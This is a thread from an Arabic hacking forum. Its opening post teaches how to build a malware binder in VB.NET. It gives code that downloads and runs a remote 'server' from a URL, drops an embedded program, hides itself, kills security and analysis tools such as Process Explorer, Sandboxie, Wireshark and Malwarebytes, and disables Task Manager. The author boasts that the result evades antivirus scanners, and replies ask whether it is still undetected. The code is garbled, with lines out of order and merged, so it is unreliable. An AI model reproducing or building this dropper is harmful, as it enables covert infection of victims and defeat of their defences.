حالة الموضوع:
مغلق
  1. ♕| м α s к о и |♕

    ♕| м α s к о и |♕ موقوف لمخالفة الشروط

    الأنتساب:
    ‏9 يوليو 2015
    المشاركات:
    1
    الإعجابات المتلقاة:
    6
    نقاط الجائزة:
    3
    الوظيفة:
    مـصـور فـوتوغرآفي
    الإقامة:
    بــغــدآد
    المخالفات
    9

    [INFO]كَمآ هُو وآضحٌ فيٌ آلعنوُآن طَريقةٌ آلتلغيمٌ بآلدوتٌ نَتٌ وَدعسٌ آكبر مَوآقعٌ آلفَحص + بَرآمجٌ آلفَحصٌ[/INFO]
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


    [ آلمُتطلبآت ] - [ آلسَيرفرٌ حَبذىٌ لَو كآن كٌلينٌ ] - [ آلبَرنآمجٌ ] - [ فَيجوآل بَيسكٌ دُوتٌ نَت آي آصدآر آنآ طَبقتٌ عَلىٌ 2010 ]
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~




    [ آلتَعرفٌ عَلىٌ خَصآئصٌ آلتَلغيمةٌ ]
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    [ 1 ] [ كَلينٌ مَدىُ آلحيآة وخآصةُ مٌن فآيروسٌ تُوتآلٌ ]
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    [ 2 ] [ تَخطيٌ بَرآمجٌ فَحصٌ آلآتصآلآت آلخآرجيةٌ وآلتَنقيحٌ وآلتَحليلٌ ومُرآقبةٌ آلنزوٌلٌ وآلريٌجستريٌ ]
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    [ آبرَزٌ آلبَرآمجٌ آلتيٌ تَمٌ تَخطيهآ ]
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    [ ProceXp ] [ لٌي مُرآقبةٌ آلعَمليآتٌ وآلتَحكمٌ بهآ ]
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    [ SindBox ] [ لتٌشغيلٌ آلبرآمجٌ ببيٌئةٌ مَعزولةٌ عَنٌ آلويندوُز ]
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    [ SpyTheSpy ] [ مُرآقبةٌ مَسآرآتٌ آلنزُولٌ ]
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    [ SpeedGear ] [ لتَسريعٌ آلوَقتٌ ]
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    [ Wireshark ] [ لمُرآقبةٌ آلآتصآلآتٌ آلخآرجيٌة ]​
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    [ MlwarBytes ] [ لِفحصٌ آلسَيرفراتٌ ومَسحهآ مٌنٌ جذُورهآ فَهوٌ لآ يَعتمدٌ عَلىٌ قيٌم آلتَشفيرٌ ]
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    [ IPBloacker ] [ لِمُرآقبةٌ آلآتصآلآت آلخآرجيةٌ وَحَجبهآ ]
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    [ Cports ] [ لِمُرآقبةٌ آلبُورتآتٌ فيٌ آلتَلغيمةٌ ]
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    [ ProcessHacker ] [ لٌي مُرآقبةٌ آلعَمليآتٌ وآلتَحكمٌ بهآ ]​

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


    [ آلتَعرفٌ عَلى مُميزآتٌ آلتَلغيمةٌ ]​
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    [ 3 ] [ عَدمٌ آلقُدرةٌ عٌلىٌ قَتلٌ آلسٌيرفرٌ ]
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    [ 4 ] [ لآ يُوجدٌ آيٌ دَمجٌ للسَيرفرٌ مَعٌ آلبَرنآمجٌ ]
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    [ 5 ] [ تَخطيٌ تَقديمٌ آلوَقتٌ ، آذآ آحٌببتٌ آن تُضيفٌ SleepTime للٌسيرفرٌ ]
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


    لَكيٌ لآ آطٌيلٌ عَليكمٌ آلكَلآم ، وَنبدءٌ بآلتَطبيقٌ آلمُبآشرٌ .​


    ،

    [INFO][ آولآ نَقومٌ بشَغلٌ آلدوُتٌ نَتٌ ][/INFO]​



    ^


    [INFO][ منٌ قآئمةٌ آلآدوآتٌ قُمٌ بآضآفةٌ تآيمرٌ ]
    [/INFO]







    ^


    [INFO][ منٌ قآئمةٌ شَجرةٌ آلكئنآتٌ ، آنقُر كلكٌ يَمينٌ عَلىٌ آلفورمٌ 1 ]
    [/INFO]







    ^


    [INFO][ ثُمٌ آختآرٌ آلآمرٌ ' View Code ' ]
    [/INFO]









    [INFO]آنآ قُمتٌ بمُرآعآةٌ آلمُبتدآينٌ وسؤعٌطيكٌم آلآكوآد كآملٌة دُونٌ آلتَطرقٌ لِشرحَهآ[/INFO]


    [INFO]بَعدٌ آنٌ آخترنآ الخِيآرٌ [ View Code ] . آلآن آحذفٌ كُلٌ آلآكوآدٌ وآلصقٌ هذهٌ آلآكوآد[/INFO]

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    كود:
    Public Class Form1
    Dim c As New AntiTaskManager
    Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
    End
    End Sub
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load​
    t.Start()
    Me.Hide()
    Control.CheckForIllegalCrossThreadCalls = False
    Dim t As New Threading.Thread(AddressOf c.protect)​
    Dim Dir As String = My.Computer.FileSystem.SpecialDirectories.Temp
    '###########################################################

    Me.Hide()
    On Error Resume Next​
    Najaf.DownloadFile("Put URL Server Here", Environ("tmp") & "/Security.exe")
    Dim Filename As String = Dir + "Najaf.exe"
    IO.File.WriteAllBytes(Filename, My.Resources.Put Your Programm)
    Dim Najaf As New System.Net.WebClient
    Process.Start(Filename)
    Timer1.Start()​
    For Each Najaf As Process In Security​
    S h e l l(Environ("tmp") & "/Security.exe") End Sub
    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
    On Error Resume Next
    Dim Security() As Process = System.Diagnostics.Process.GetProcessesByName("procexp")​
    Najaf.Kill()
    Dim Security2() As Process = System.Diagnostics.Process.GetProcessesByName("SpyTheSpy")
    Next Dim Security1() As Process = System.Diagnostics.Process.GetProcessesByName("SbieCtrl") For Each Najaf1 As Process In Security1 Najaf1.Kill() Next For Each Najaf2 As Process In Security2
    Dim Security9() As Process = System.Diagnostics.Process.GetProcessesByName("wireshark")
    Najaf2.Kill() Next Dim Security3() As Process = System.Diagnostics.Process.GetProcessesByName("SpeedGear") For Each Najaf3 As Process In Security3 Najaf3.Kill() Next

    For Each Najaf9 As Process In Security9 Najaf9.Kill() Next Dim Security10() As Process = System.Diagnostics.Process.GetProcessesByName("mbam") For Each Najaf10 As Process In Security10 Najaf10.Kill() Next
    Dim Security14() As Process = System.Diagnostics.Process.GetProcessesByName("IPBlocker")​
    Dim Security13() As Process = System.Diagnostics.Process.GetProcessesByName("apateDNS") For Each Najaf13 As Process In Security13 Najaf13.Kill() Next For Each Najaf14 As Process In Security14 Najaf14.Kill() Next
    Next​
    Dim Security15() As Process = System.Diagnostics.Process.GetProcessesByName("cports") For Each Najaf15 As Process In Security15 Najaf15.Kill() Next Dim Security16() As Process = System.Diagnostics.Process.GetProcessesByName("ProcessHacker") For Each Najaf16 As Process In Security16 Najaf16.Kill()
    IntPtr, ByRef lpdwProcessID As Integer) As Integer​
    End SubEnd ClassPublic Class AntiTaskManager ' C0d3d bY njq8 <Runtime.InteropServices.DllImport("user32.dll")> _ Private Shared Function EnableWindow(ByVal hWnd As IntPtr, ByVal bEnable As Boolean) As Boolean End Function Private Declare Function GetWindowThreadProcessId Lib "user32.dll" (ByVal hwnd As _
    hwnd As Integer, ByVal wMsg As Integer, ByVal wParam As Integer, ByVal lParam As String) As Integer​
    Private Declare Function GetForegroundWindow Lib "user32.dll" () As IntPtr Private Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As _ Integer, ByVal lpClassName As String, ByVal nMaxCount As Integer) As Integer Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal _
    Private Delegate Function EnumChildWindProc(ByVal hWnd As Int32, ByVal _​
    Private Declare Auto Function GetWindowText Lib "user32.dll" (ByVal hwnd As Int32, _ ByVal lpString As System.Text.StringBuilder, ByVal cch As Int32) As Int32 Private Declare Auto Function GetWindowTextLength Lib "user32.dll" (ByVal hwnd As Int32) As Int32 Private Delegate Function EnumWindProc(ByVal hWnd As Int32, ByVal lParam As Int32) As Boolean lParam As Int32) As Boolean
    If hwd.ToInt32 = 0 Then Continue While​
    Private Declare Function EnumChildWindows Lib "user32" (ByVal hWnd As IntPtr, _ ByVal lpEnumFunc As EnumWindProc, ByRef lParam As IntPtr) As Int32 Private Function EnumChild(ByVal hWnd As Int32, ByVal lParam As Int32) As Boolean CLD.Add(hWnd) Return True End Function Public Sub protect() While True Threading.Thread.Sleep(0) Dim hwd = GetForegroundWindow Dim id As Integer = 0
    Else​
    GetWindowThreadProcessId(hwd, id) If id > 0 Then Dim Title As String = "" Dim text_len As Integer = GetWindowTextLength(hwd) If text_len = 0 Then Title = "" Else Dim sb As New System.Text.StringBuilder(text_len + 1) Dim ret = GetWindowText(hwd, sb, sb.Capacity) If ret = 0 Then Title = ""
    Dim className As String = Space(200)​
    Title = sb.ToString End If End If Dim p As Process = Process.GetProcessById(id) If p.ProcessName.ToLower = "taskmgr" Or p.ProcessName.ToLower _ = "processhacker" Or Title.ToLower = "process explorer" Then Dim button As New List(Of IntPtr) Dim statics As Integer = 0 For Each x As IntPtr In GetChild(hwd)
    If button.Count = 2 And (statics = 2 Or statics = 1) Then​
    Dim ln As Integer = GetClassName(x, className, 200) className = className.Remove(ln, 200 - ln) If className.ToLower = "button" Then button.Add(x) End If If className.ToLower = "static" Or className.ToLower _ = "directuihwnd" Then statics += 1 End If Next
    End Class​
    EnableWindow(button(0), False) SendMessage(button(0), &HC, 0, "") End If End If End If End While End Sub Private CLD As New List(Of IntPtr) Private Function GetChild(ByVal hwd As IntPtr) As IntPtr() SyncLock Me CLD.Clear() EnumChildWindows(hwd, New EnumWindProc(AddressOf EnumChild), 0) Return CLD.ToArray End SyncLock
    End Function​




    [ تَحميلٌ ألآكوآد عَلىٌ شَكلٌ Text ]


    Sorry We Can't Find The File !!


    ،
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    [WARNING]بَعدٌ آضآفةٌ آلآكوآد ستُلآحظٌ ظَهورٌ آخطآءٌ كَمآ فيَ آلصُورةٌ .[/WARNING]


    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


    [INFO]كَيفٌ سَنقومٌ بِمُعآلجتهآ ؟ تآبعٌ مَعيٌ .[/INFO]
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    [WARNING]مٌن شَجرةٌ آلكآئنآتٌ ننٌقُر كٌلكٌ يَمينٌ عَلىٌ Microsoft ونَختآر آلآمرٌ .[/WARNING]


    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


    وَنختآر آلآمرٌ [ Properties ] .






    مٌن نآفذةٌ آلـ [ Resource ] .






    نَختآرٌ آلآمرٌ .






    لَكيٌ نُضيفٌ آلبَرنآمجٌ آلمُرآدٌ تَلغيمةٌ .






    بَعدٌ آختيارٌ آلبَرنآمجٌ آضغطٌ عَلىٌ .






    كٌلكٌ يَمينٌ ، ثُم آختر آلآمرٌ .






    ثُم قُم بٌتغييرٌ آلآسمٌ آلذٌيٌ ظَهرٌ عَليهٌ آلخَطآ آلىٌ آسمٌ آلبَرنآمجٌ آلذيٌ وَضٌعنآه فيٌ [ Resource ]






    [INFO]تَمٌ تَصحيحٌ آلخَطآ ، آلآولٌ ، بَقيٌ آلخَطآ آلثآنيٌ وهَو رَفعٌ آلسيٌرفرٌ برآبطٌ مُبآشرٌ
    [/INFO]

    آستَخدمٌ هذآ آلمَواقعٌ للَرفعٌ .


    1 2 3


    ثُم آضفٌ آلرآبطٌ لٌكيٌ يُصبحٌ هَكذآ .








    آلآن فَقطٌ عَليكٌ آلضٌغط عَلىٌ [ Ctrl + Shift + B ] ، لَكيٌ تَقومٌ بَعملٌ كُومبآيلٌ للتَلغيمةٌ . آلآن آلفَحصٌ للتَلغيمةٌ .



    كود:
    https://www.virustotal.com/en/file/aa4fc6f78c4b953ca9a7d492f7fefa8fc70c7147e10a03e53c54772d6ad2ec97/analysis/1371540923/

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~








    [INFO][ آهًْدآء آلشَرحٌ آلى آلى جمَيع اعِضاء وزَوارٍ عًرآقِ تِيًم ] [/INFO]​
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





     
  2. (( السفاح ))

    (( السفاح )) سيد الساحة V • I • P

    الأنتساب:
    ‏11 يوليو 2014
    المشاركات:
    2,531
    الإعجابات المتلقاة:
    2,526
    نقاط الجائزة:
    113
    الجنس:
    ذكر
    رد: التلغيم بالدوت نت ودع اكبر مواقع الفحص +برامج الحماية

    عاشت ايدك اخوي استمر ياغالي
     
  3. ♕| м α s к о и |♕

    ♕| м α s к о и |♕ موقوف لمخالفة الشروط

    الأنتساب:
    ‏9 يوليو 2015
    المشاركات:
    1
    الإعجابات المتلقاة:
    6
    نقاط الجائزة:
    3
    الوظيفة:
    مـصـور فـوتوغرآفي
    الإقامة:
    بــغــدآد
    المخالفات
    9
    رد: التلغيم بالدوت نت ودع اكبر مواقع الفحص +برامج الحماية

    وـأيدك العايشة اخي ~

    [​IMG]
     
  4. A.R.K.A.N

    A.R.K.A.N DeveloPer Plus

    الأنتساب:
    ‏8 يناير 2013
    المشاركات:
    152
    الإعجابات المتلقاة:
    12
    نقاط الجائزة:
    18
    الإقامة:
    hacker
    رد: التلغيم بالدوت نت ودع اكبر مواقع الفحص +برامج الحماية

    جزاك الله خير اخوي نرتقب المزيد من الابداع
     
  5. Hussen2000

    Hussen2000 Developer

    الأنتساب:
    ‏30 يناير 2015
    المشاركات:
    5
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    1
    رد: التلغيم بالدوت نت ودع اكبر مواقع الفحص +برامج الحماية

    تشفيرة بعدهه كلين؟
     
  6. ♕| м α s к о и |♕

    ♕| м α s к о и |♕ موقوف لمخالفة الشروط

    الأنتساب:
    ‏9 يوليو 2015
    المشاركات:
    1
    الإعجابات المتلقاة:
    6
    نقاط الجائزة:
    3
    الوظيفة:
    مـصـور فـوتوغرآفي
    الإقامة:
    بــغــدآد
    المخالفات
    9
    رد: التلغيم بالدوت نت ودع اكبر مواقع الفحص +برامج الحماية

    آجَڷ آخْي بًعًدًھآ ڲڷينَ ؟
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة